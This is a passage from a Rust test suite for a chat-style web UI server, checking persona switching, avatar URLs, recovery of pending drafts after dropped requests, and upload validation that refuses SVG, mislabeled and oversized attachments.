10512            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10513            let Json(view) = talk_persona(
10514                State(Arc::clone(&ui)),
10515                Path(id.clone()),
10516                Json(TalkPersona {
10517                    persona: "custom".into(),
10518                }),
10519            )
10520            .await
10521            .expect("persona switch with invalid icon");
10522            assert_eq!(view.talk.persona, "custom");
10523            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10524        }
10525    }
10526
10527    #[tokio::test]
10528    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10529        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10530        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10531        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10532        assert_eq!(
10533            (status, ct.as_str(), nosniff, csp),
10534            (StatusCode::OK, "image/svg+xml", true, true)
10535        );
10536    }
10537
10538    #[tokio::test]
10539    async fn the_talk_view_carries_server_built_avatar_urls_only() {
10540        let (_t, _h, ui, id, _repo) =
10541            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10542        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10543            .await
10544            .expect("detail");
10545        let json = serde_json::to_string(&detail).unwrap();
10546        assert!(
10547            !json.contains("secret"),
10548            "the icon setting must not leak: {json}"
10549        );
10550        assert!(
10551            detail
10552                .view
10553                .persona_avatar
10554                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10555        );
10556        assert_eq!(
10557            detail.view.operator_avatar,
10558            format!(
10559                "/avatars/operator.svg?v={}",
10560                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
10561            )
10562        );
10563        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
10564        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10565        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10566        assert!(rei.avatar.contains("persona=rei&v="));
10567        assert_ne!(
10568            rei.avatar.split("&v=").nth(1),
10569            plain.avatar.split("&v=").nth(1)
10570        );
10571    }
10572
10573    #[tokio::test]
10574    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
10575        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10576        let cfg = config_for(&repo).await.unwrap();
10577        for arrived in [false, true] {
10578            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
10579            let observed = ui.queued_generation(&id);
10580            let talk = ui.talks.get(&id).unwrap();
10581            if arrived {
10582                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
10583            }
10584            let mut settling = std::pin::pin!(settle_settings_turn(
10585                talk,
10586                ui.talks.clone(),
10587                cfg.clone(),
10588                id.clone(),
10589                turn,
10590                observed
10591            ));
10592            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
10593            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
10594            assert_eq!(first.is_pending(), arrived);
10595            if arrived {
10596                assert!(!settling.await);
10597            }
10598            assert!(!ui.is_thinking(&id));
10599        }
10600    }
10601
10602    #[tokio::test]
10603    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10604        let tmp = TempDir::new().expect("tempdir");
10605        let repo = tmp.path().join("repo");
10606        std::fs::create_dir_all(&repo).expect("repo dir");
10607        std::fs::write(
10608            repo.join("magi.toml"),
10609            format!(
10610                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10611            ),
10612        )
10613        .expect("write magi.toml");
10614        let home = TempDir::new().expect("temp home");
10615        let talks = Talks::at(home.path().join("talks"));
10616        let ui = Arc::new(
10617            Ui::new(
10618                Queue::at(home.path().join("queue")),
10619                Questions::at(home.path().join("questions")),
10620                talks.clone(),
10621                home.path().join("runs"),
10622                home.path().to_path_buf(),
10623                repo.clone(),
10624            )
10625            .with_worktrees_root(home.path().join("wt")),
10626        );
10627        let cfg = config_for(&repo).await.expect("discover config");
10628        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10629        let id = talk.id.clone();
10630        let call = |persona: &str| {
10631            talk_persona(
10632                State(Arc::clone(&ui)),
10633                Path(id.clone()),
10634                Json(TalkPersona {
10635                    persona: persona.to_owned(),
10636                }),
10637            )
10638        };
10639
10640        let unknown = call("nobody").await.expect_err("unknown persona");
10641        assert_eq!(
10642            unknown.status,
10643            StatusCode::BAD_REQUEST,
10644            "{}",
10645            unknown.message
10646        );
10647
10648        {
10649            // Nothing refused so far took a claim, so the guard is free to take
10650            // and holding it is what makes the talk busy.
10651            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10652            let busy = call("rei").await.expect_err("busy talk");
10653            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10654            assert!(
10655                busy.message.contains("a talk turn is running"),
10656                "{}",
10657                busy.message
10658            );
10659            drop(guard);
10660        }
10661        assert_eq!(talks.get(&id).expect("reload").persona, "");
10662
10663        let Json(view) = call("gendo").await.expect("switch to a configured persona");
10664        assert_eq!(view.talk.persona, "gendo");
10665        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10666        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10667        // No intervening I/O or sleep may be needed before another change.
10668        for chosen in ["default", "gendo", "rei", "gendo"] {
10669            let Json(view) = call(chosen).await.expect("immediate consecutive change");
10670            assert!(!view.thinking);
10671            assert!(!ui.is_thinking(&id));
10672        }
10673
10674        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10675            .await
10676            .expect("detail");
10677        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10678        assert_eq!(ids.first(), Some(&"default"));
10679        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10680
10681        let Json(view) = call("default").await.expect("back to default");
10682        assert_eq!(view.talk.persona, "");
10683
10684        let mut closed = talks.get(&id).expect("reload");
10685        talk::close(&mut closed, &talks).expect("close");
10686        let refused = call("rei").await.expect_err("closed talk");
10687        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10688        assert!(
10689            refused.message.contains("takes no more turns"),
10690            "{}",
10691            refused.message
10692        );
10693    }
10694
10695    #[tokio::test]
10696    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10697        let f = Fixture::start().await;
10698        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10699        let queue = f.queue();
10700        let mut mine = Task::new(
10701            "rename the loader".to_owned(),
10702            "rename the loader".to_owned(),
10703            PathBuf::from("/repo/magi"),
10704            Source::Agent {
10705                run: talk_id.clone(),
10706                node: "chat".to_owned(),
10707            },
10708        );
10709        queue.put(&mut mine).expect("file the task");
10710        let mut theirs = Task::new(
10711            "unrelated".to_owned(),
10712            "unrelated".to_owned(),
10713            PathBuf::from("/repo/magi"),
10714            Source::Human,
10715        );
10716        queue.put(&mut theirs).expect("file the task");
10717
10718        let res = f.get(&format!("/api/talks/{talk_id}")).await;
10719        assert_eq!(res.status, 200, "{}", res.body);
10720        let body = res.json();
10721        assert_eq!(
10722            body["status"], "open",
10723            "filing a task does not close a talk"
10724        );
10725        let tasks = body["tasks"].as_array().expect("tasks array");
10726        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
10727        assert_eq!(tasks[0]["id"], mine.id);
10728    }
10729
10730    #[tokio::test]
10731    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
10732        let (_tmp, _repo, f) = talk_fixture().await;
10733        let id = f.post("/api/talks", None).await.json()["id"]
10734            .as_str()
10735            .expect("id")
10736            .to_owned();
10737
10738        let res = f
10739            .post(
10740                &format!("/api/talks/{id}/say"),
10741                Some(r#"{"text":"what does the queue module do?"}"#),
10742            )
10743            .await;
10744        assert_eq!(res.status, 202, "{}", res.body);
10745        let queued = res.json();
10746        let turns = queued["turns"].as_array().expect("turns array");
10747        assert_eq!(
10748            turns.len(),
10749            1,
10750            "the answer reflects only what is on disk the instant it is sent, \
10751             before the agent's turn - which can run for the whole of \
10752             `[graph] timeout_talk` - has a chance to land: {queued}"
10753        );
10754        assert_eq!(turns[0]["who"], "operator");
10755        assert_eq!(turns[0]["body"], "what does the queue module do?");
10756        assert_eq!(
10757            queued["thinking"], true,
10758            "the accepted response exposes the background turn claim: {queued}"
10759        );
10760
10761        let mut turns_after = 1;
10762        for _ in 0..SETTLE_STEPS {
10763            let detail = f.get(&format!("/api/talks/{id}")).await.json();
10764            turns_after = detail["turns"].as_array().expect("turns array").len();
10765            if turns_after == 2 {
10766                break;
10767            }
10768            tokio::time::sleep(Duration::from_millis(10)).await;
10769        }
10770        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
10771    }
10772
10773    /// A phone that reloads mid-request drops `talk_say`'s whole handler
10774    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
10775    /// guards against: `talk::record` used to return, and only *then* did the
10776    /// handler make a second, separate disk round trip before spawning the
10777    /// agent's reply task. A future dropped in that gap left a message
10778    /// recorded on disk with no reply task ever started and no way back short
10779    /// of a fresh message - and the gap was not even the whole story: *any*
10780    /// `.await` in this handler, including the very first one, is a point
10781    /// where a drop can land after the awaited work already finished but
10782    /// before this handler's own code resumes to act on it. `record` now
10783    /// runs inside the task `tokio::spawn` hands to the runtime before this
10784    /// handler ever awaits anything of its own again, so there is nothing
10785    /// left in *this* handler's future for a disconnect to interrupt between
10786    /// the message landing on disk and the reply task starting.
10787    ///
10788    /// A real socket disconnect cannot be relied on to land in the old gap
10789    /// from a test - over loopback, `talk_say` typically finishes before the
10790    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
10791    /// same failure mode directly: it drops the task's future at whatever
10792    /// point it has reached, exactly what axum does to the handler future,
10793    /// without needing to win a real network race. Sweeping the delay before
10794    /// aborting samples a range of points the task's execution can be at,
10795    /// including where the old code sat waiting on its second disk round
10796    /// trip - confirmed by reverting this fix locally and watching this same
10797    /// sweep catch a talk stuck with the operator's turn recorded and no
10798    /// reply ever following.
10799    #[tokio::test]
10800    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
10801        let tmp = TempDir::new().expect("tempdir");
10802        let repo = tmp.path().join("repo");
10803        std::fs::create_dir_all(&repo).expect("repo dir");
10804        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10805        let home = TempDir::new().expect("temp home");
10806        let talks = Talks::at(home.path().join("talks"));
10807        let ui = Arc::new(
10808            Ui::new(
10809                Queue::at(home.path().join("queue")),
10810                Questions::at(home.path().join("questions")),
10811                talks.clone(),
10812                home.path().join("runs"),
10813                home.path().to_path_buf(),
10814                repo.clone(),
10815            )
10816            .with_worktrees_root(home.path().join("wt")),
10817        );
10818        let cfg = config_for(&repo).await.expect("discover config");
10819
10820        for delay in 0..40u32 {
10821            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10822            let id = talk.id.clone();
10823
10824            let handler = tokio::spawn(talk_say(
10825                State(Arc::clone(&ui)),
10826                Path(id.clone()),
10827                Ok(Json(NewTalkTurn {
10828                    reply_to: None,
10829                    text: "what does the queue module do?".to_owned(),
10830                    attachments: Vec::new(),
10831                })),
10832            ));
10833            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
10834            handler.abort();
10835            // Wait out the abort so the next iteration's talk does not race
10836            // this one's still-unwinding turn guard.
10837            let _ = handler.await;
10838
10839            let mut turns = 0;
10840            for _ in 0..SETTLE_STEPS {
10841                if let Ok(fresh) = talks.get(&id) {
10842                    turns = fresh.turns.len();
10843                    if turns != 1 {
10844                        break;
10845                    }
10846                }
10847                tokio::time::sleep(Duration::from_millis(10)).await;
10848            }
10849            assert_ne!(
10850                turns, 1,
10851                "delay {delay}: talk {id} recorded the operator's turn but \
10852                 the agent never answered - the reply task was never \
10853                 started after the handler future was dropped"
10854            );
10855        }
10856    }
10857
10858    /// The same drop, landing on `talk_say`'s other durable write.
10859    ///
10860    /// When a turn is already running, the busy branch persists the
10861    /// operator's text as a queued draft and then reclaims the turn slot if
10862    /// the holder gave it up in the meantime - and whoever reclaims owes that
10863    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
10864    /// which finishes whether or not the future awaiting it is still there,
10865    /// so a handler dropped at that `.await` used to leave the draft written
10866    /// to disk with the reclaimed guard dropped unread and no drainer ever
10867    /// started: the message sat queued until some unrelated later `say`
10868    /// happened to pick it up.
10869    ///
10870    /// This used to drive the handler future by hand, polling it a fixed
10871    /// number of times to park it at the `.await` where it asks for the turn
10872    /// and finds it busy, before the reclaim's slot-free case could be set up
10873    /// underneath it. That assumed a fixed number of polls lands at a fixed
10874    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
10875    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
10876    /// poll, so any number of this handler's several `blocking` awaits can
10877    /// collapse into one poll under load, landing the drive somewhere other
10878    /// than intended - including, occasionally, straight past the handler's
10879    /// own completion, which made polling it again panic with "async fn
10880    /// resumed after completion". No poll count fixes that; the handler's
10881    /// progress simply is not something a caller outside it can observe by
10882    /// counting.
10883    ///
10884    /// [`BusyQueueGate`] replaces the poll count with a real stop point
10885    /// inside the write itself, so the interleaving under test is pinned by
10886    /// an event instead of a guess: the gate fires only once the handler has
10887    /// actually decided `Busy` and is about to persist the draft, and it
10888    /// blocks that write until the test lets it through. Between those two
10889    /// moments the test drains the turn the handler found busy - through
10890    /// `drain_loop`, the protocol's other half - and then aborts the handler
10891    /// task outright, the same way axum drops a disconnected request's
10892    /// future. The write, and the reclaim it may do, run to completion
10893    /// regardless: they live in the `tokio::spawn` task the busy branch hands
10894    /// to the runtime before ever touching the gate, wholly independent of
10895    /// whether the handler that started it is still around - which is what
10896    /// this test is actually checking. A drainer other than that reclaim
10897    /// cannot exist here: the test's own `drain_loop` call happens before the
10898    /// gate opens, so it runs while the queue is still empty and hands the
10899    /// turn straight back rather than draining anything, closing off the
10900    /// possibility of the final assertion passing without the reclaim ever
10901    /// having done its job.
10902    #[tokio::test]
10903    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10904        let tmp = TempDir::new().expect("tempdir");
10905        let repo = tmp.path().join("repo");
10906        std::fs::create_dir_all(&repo).expect("repo dir");
10907        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10908        let home = TempDir::new().expect("temp home");
10909        let talks = Talks::at(home.path().join("talks"));
10910        let ui = Arc::new(
10911            Ui::new(
10912                Queue::at(home.path().join("queue")),
10913                Questions::at(home.path().join("questions")),
10914                talks.clone(),
10915                home.path().join("runs"),
10916                home.path().to_path_buf(),
10917                repo.clone(),
10918            )
10919            .with_worktrees_root(home.path().join("wt")),
10920        );
10921        let cfg = config_for(&repo).await.expect("discover config");
10922
10923        for attempt in 0..3u32 {
10924            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10925            let id = talk.id.clone();
10926            // A turn is already running, which is what sends `talk_say` down
10927            // the busy branch.
10928            let turn_guard = ui
10929                .begin_talk_turn(&id)
10930                .expect("claim the turn")
10931                .expect("a fresh talk owes nobody a turn");
10932
10933            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10934            let (release_tx, release_rx) = std::sync::mpsc::channel();
10935            ui.set_busy_queue_gate(BusyQueueGate {
10936                reached: reached_tx,
10937                release: release_rx,
10938            });
10939
10940            let handler = tokio::spawn(talk_say(
10941                State(Arc::clone(&ui)),
10942                Path(id.clone()),
10943                Ok(Json(NewTalkTurn {
10944                    reply_to: None,
10945                    text: "what does the queue module do?".to_owned(),
10946                    attachments: Vec::new(),
10947                })),
10948            ));
10949
10950            // Wait for the busy branch to actually reach the gate, rather
10951            // than for any fixed number of polls of anything - a bounded
10952            // wait rather than a bare `.await` so a regression that never
10953            // reaches the gate fails the test instead of hanging it.
10954            tokio::time::timeout(Duration::from_secs(5), reached_rx)
10955                .await
10956                .unwrap_or_else(|_| {
10957                    panic!(
10958                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10959                    )
10960                })
10961                .expect("the busy branch dropped the gate without using it");
10962
10963            // The turn that was running now finishes and gives the slot up
10964            // the way a real one does - through `drain_loop`, which finds
10965            // nothing queued yet (the write is still held at the gate) and
10966            // releases. The handler, parked inside `spawn_blocking` on the
10967            // other side of the gate, still believes the talk is busy -
10968            // exactly the interleaving the reclaim exists for.
10969            let running = talks.get(&id).expect("reload talk");
10970            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10971
10972            // Drop the handler future now, the way a reloading phone drops
10973            // it: suspended waiting on the busy branch's answer, having
10974            // itself made no more progress since it handed the write off.
10975            handler.abort();
10976            let _ = handler.await;
10977
10978            // Only now let the gated write proceed. It persists the draft
10979            // and reclaims the now-free slot from inside the task the busy
10980            // branch already spawned - unaffected by the handler's abort
10981            // above, since that task was independent of the handler's own
10982            // future from the moment it was spawned.
10983            let _ = release_tx.send(());
10984
10985            // A settled talk: the draft drained into an operator turn and
10986            // answered.
10987            let mut fresh = talks.get(&id).expect("reload talk");
10988            for _ in 0..SETTLE_STEPS {
10989                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10990                    break;
10991                }
10992                tokio::time::sleep(Duration::from_millis(10)).await;
10993                fresh = talks.get(&id).expect("reload talk");
10994            }
10995            assert!(
10996                fresh.pending.is_empty() && fresh.turns.len() == 2,
10997                "attempt {attempt}: talk {id} left the operator's text queued \
10998                 with no drainer - the reclaimed turn was dropped along with \
10999                 the handler future (pending {:?}, {} turns)",
11000                fresh.pending,
11001                fresh.turns.len()
11002            );
11003        }
11004    }
11005
11006    #[tokio::test]
11007    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11008        let (_tmp, _repo, f) = talk_fixture().await;
11009        let id = f.post("/api/talks", None).await.json()["id"]
11010            .as_str()
11011            .expect("id")
11012            .to_owned();
11013        let store = f.talks();
11014        let mut recovered = store.get(&id).expect("opened talk");
11015        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11016            .expect("persist pending draft without a live turn");
11017
11018        let edited = f
11019            .post(
11020                &format!("/api/talks/{id}/pending/edit"),
11021                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11022            )
11023            .await;
11024        assert_eq!(edited.status, 200, "{}", edited.body);
11025        assert!(edited.json()["thinking"].as_bool().unwrap());
11026
11027        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11028        for _ in 0..SETTLE_STEPS {
11029            if detail["turns"].as_array().expect("turns").len() == 2 {
11030                break;
11031            }
11032            tokio::time::sleep(Duration::from_millis(10)).await;
11033            detail = f.get(&format!("/api/talks/{id}")).await.json();
11034        }
11035        let turns = detail["turns"].as_array().expect("turns");
11036        assert_eq!(
11037            turns.len(),
11038            2,
11039            "the recovered draft must run once: {detail}"
11040        );
11041        assert_eq!(turns[0]["body"], "corrected");
11042        assert_eq!(detail["pending"], "");
11043    }
11044
11045    #[tokio::test]
11046    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11047        let tmp = TempDir::new().expect("tempdir");
11048        let repo = tmp.path().join("repo");
11049        std::fs::create_dir_all(&repo).expect("repo dir");
11050        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11051        let f = Fixture::with_repo(repo).await;
11052        let id = f.post("/api/talks", None).await.json()["id"]
11053            .as_str()
11054            .expect("id")
11055            .to_owned();
11056        let store = f.talks();
11057        let mut recovered = store.get(&id).expect("opened talk");
11058        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11059            .expect("persist pending draft without a live turn");
11060
11061        let refused = f
11062            .post(
11063                &format!("/api/talks/{id}/say"),
11064                Some(r#"{"text":"new message"}"#),
11065            )
11066            .await;
11067        assert_eq!(refused.status, 409, "{}", refused.body);
11068        assert!(refused.body.contains("resume"), "{}", refused.body);
11069        let saved = store.get(&id).expect("draft remains after refusal");
11070        assert!(saved.turns.is_empty());
11071        assert_eq!(saved.pending, "saved before restart");
11072
11073        let say_path = format!("/api/talks/{id}/say");
11074        let (first, second) = tokio::join!(
11075            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11076            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11077        );
11078        assert_eq!(first.status, 409, "{}", first.body);
11079        assert_eq!(second.status, 409, "{}", second.body);
11080        let saved = store
11081            .get(&id)
11082            .expect("draft remains after concurrent refusals");
11083        assert!(saved.turns.is_empty());
11084        assert_eq!(saved.pending, "saved before restart");
11085
11086        let resumed = f
11087            .post(&format!("/api/talks/{id}/pending/resume"), None)
11088            .await;
11089        assert_eq!(resumed.status, 202, "{}", resumed.body);
11090        let duplicate = f
11091            .post(&format!("/api/talks/{id}/pending/resume"), None)
11092            .await;
11093        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11094
11095        for _ in 0..SETTLE_STEPS {
11096            if store.get(&id).expect("talk").turns.len() == 2 {
11097                break;
11098            }
11099            tokio::time::sleep(Duration::from_millis(10)).await;
11100        }
11101        let finished = store.get(&id).expect("finished talk");
11102        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11103        assert_eq!(finished.turns[0].body, "saved before restart");
11104        assert!(finished.pending.is_empty());
11105    }
11106
11107    #[tokio::test]
11108    async fn an_image_only_recovered_draft_resumes_without_text() {
11109        let (_tmp, _repo, f) = talk_fixture().await;
11110        let id = f.post("/api/talks", None).await.json()["id"]
11111            .as_str()
11112            .expect("id")
11113            .to_owned();
11114        let uploaded = f
11115            .post_bytes(
11116                &format!("/api/talks/{id}/attachments"),
11117                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11118                PNG_BYTES,
11119            )
11120            .await;
11121        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11122        let attachment = f
11123            .talks()
11124            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11125            .expect("attachment metadata")
11126            .expect("stored attachment");
11127        let store = f.talks();
11128        let mut recovered = store.get(&id).expect("opened talk");
11129        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11130
11131        let resumed = f
11132            .post(&format!("/api/talks/{id}/pending/resume"), None)
11133            .await;
11134        assert_eq!(resumed.status, 202, "{}", resumed.body);
11135        for _ in 0..SETTLE_STEPS {
11136            if store.get(&id).expect("talk").turns.len() == 2 {
11137                break;
11138            }
11139            tokio::time::sleep(Duration::from_millis(10)).await;
11140        }
11141        let finished = store.get(&id).expect("finished talk");
11142        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11143        assert!(finished.turns[0].body.is_empty());
11144        assert_eq!(finished.turns[0].attachments.len(), 1);
11145        assert!(finished.pending_attachments.is_empty());
11146    }
11147
11148    #[tokio::test]
11149    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11150        let (_tmp, _repo, f) = talk_fixture().await;
11151        let id = f.post("/api/talks", None).await.json()["id"]
11152            .as_str()
11153            .expect("id")
11154            .to_owned();
11155        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11156        assert_eq!(closed.status, 200, "{}", closed.body);
11157        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11158            .expect("serialize closed talk");
11159        for (path, body) in [
11160            (format!("/api/talks/{id}/pending/resume"), None),
11161            (
11162                format!("/api/talks/{id}/pending/clear"),
11163                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11164            ),
11165            (
11166                format!("/api/talks/{id}/pending/edit"),
11167                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11168            ),
11169            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11170        ] {
11171            let response = f.post(&path, body).await;
11172            assert_eq!(response.status, 409, "{}", response.body);
11173        }
11174        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11175            .expect("serialize closed talk");
11176        assert_eq!(
11177            after_clear, before_clear,
11178            "clear must not rewrite a closed talk"
11179        );
11180    }
11181
11182    /// Keeps both claims observable long enough to exercise the distinction
11183    /// between one busy talk and a globally locked Chat surface.
11184    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11185
11186    #[tokio::test]
11187    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11188        let tmp = TempDir::new().expect("tempdir");
11189        let repo = tmp.path().join("repo");
11190        std::fs::create_dir_all(&repo).expect("repo dir");
11191        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11192        let f = Fixture::with_repo(repo).await;
11193        let id_a = f.post("/api/talks", None).await.json()["id"]
11194            .as_str()
11195            .unwrap()
11196            .to_owned();
11197        let id_b = f.post("/api/talks", None).await.json()["id"]
11198            .as_str()
11199            .unwrap()
11200            .to_owned();
11201
11202        let a = f
11203            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11204            .await;
11205        assert_eq!(a.status, 202, "{}", a.body);
11206        assert_eq!(a.json()["thinking"], true);
11207        let b = f
11208            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11209            .await;
11210        assert_eq!(b.status, 202, "{}", b.body);
11211        assert_eq!(b.json()["thinking"], true);
11212
11213        let listed = f.get("/api/talks").await.json();
11214        for id in [&id_a, &id_b] {
11215            let view = listed
11216                .as_array()
11217                .unwrap()
11218                .iter()
11219                .find(|talk| talk["id"] == *id)
11220                .unwrap();
11221            assert_eq!(view["thinking"], true, "{listed}");
11222        }
11223        let repeated = f
11224            .post(
11225                &format!("/api/talks/{id_a}/say"),
11226                Some(r#"{"text":"again"}"#),
11227            )
11228            .await;
11229        assert_eq!(repeated.status, 202, "{}", repeated.body);
11230        assert_eq!(repeated.json()["pending"], "again");
11231    }
11232
11233    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
11234    /// few more, since real uploads are never exactly eight bytes.
11235    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11236
11237    #[tokio::test]
11238    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11239        let f = Fixture::start().await;
11240        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11241
11242        let res = f
11243            .post_bytes(
11244                &format!("/api/talks/{id}/attachments"),
11245                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11246                PNG_BYTES,
11247            )
11248            .await;
11249        assert_eq!(res.status, 201, "{}", res.body);
11250        let body = res.json();
11251        assert_eq!(body["name"], "shot.png");
11252        assert_eq!(body["mime"], "image/png");
11253        assert_eq!(body["bytes"], PNG_BYTES.len());
11254        let att_id = body["id"].as_str().expect("id").to_owned();
11255        assert_eq!(
11256            att_id.len(),
11257            32,
11258            "the id must never be a client-suppliable path: {att_id}"
11259        );
11260
11261        let got = f
11262            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11263            .await;
11264        assert_eq!(got.status, 200, "{}", got.body);
11265        assert_eq!(got.header("content-type"), Some("image/png"));
11266        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11267        assert_eq!(got.bytes, PNG_BYTES);
11268    }
11269
11270    #[tokio::test]
11271    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11272        let f = Fixture::start().await;
11273        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11274
11275        // SVG can carry a `<script>`, so it is never on the whitelist even
11276        // though it is a real IANA image type.
11277        let svg = f
11278            .post_bytes(
11279                &format!("/api/talks/{id}/attachments"),
11280                &[("Content-Type", "image/svg+xml")],
11281                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11282            )
11283            .await;
11284        assert!(
11285            (400..500).contains(&svg.status),
11286            "svg must be refused: {} {}",
11287            svg.status,
11288            svg.body
11289        );
11290        assert!(svg.body.contains("SVG"), "{}", svg.body);
11291
11292        let text = f
11293            .post_bytes(
11294                &format!("/api/talks/{id}/attachments"),
11295                &[("Content-Type", "text/plain")],
11296                b"just some text",
11297            )
11298            .await;
11299        assert!(
11300            (400..500).contains(&text.status),
11301            "an unlisted type must be refused: {} {}",
11302            text.status,
11303            text.body
11304        );
11305
11306        // The declared type is a real png, but the size check runs before
11307        // the bytes are even looked at.
11308        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11309        let big = f
11310            .post_bytes(
11311                &format!("/api/talks/{id}/attachments"),
11312                &[("Content-Type", "image/png")],
11313                &oversized,
11314            )
11315            .await;
11316        assert_eq!(
11317            big.status,
11318            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11319            "{}",
11320            big.body
11321        );
11322    }
11323
11324    #[tokio::test]
11325    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11326        let f = Fixture::start().await;
11327        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11328
11329        // A whitelisted `Content-Type`, but bytes that are not actually a
11330        // png - the declared header alone is never trusted.
11331        let res = f
11332            .post_bytes(
11333                &format!("/api/talks/{id}/attachments"),
11334                &[("Content-Type", "image/png")],
11335                b"<html>not a picture</html>",
11336            )
11337            .await;
11338        assert!((400..500).contains(&res.status), "{}", res.body);
11339    }
11340
11341    #[tokio::test]
11342    async fn an_unknown_attachment_id_is_a_404() {
11343        let f = Fixture::start().await;
11344        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11345
11346        let res = f
11347            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11348            .await;
11349        assert_eq!(res.status, 404, "{}", res.body);
11350    }
11351
11352    #[tokio::test]
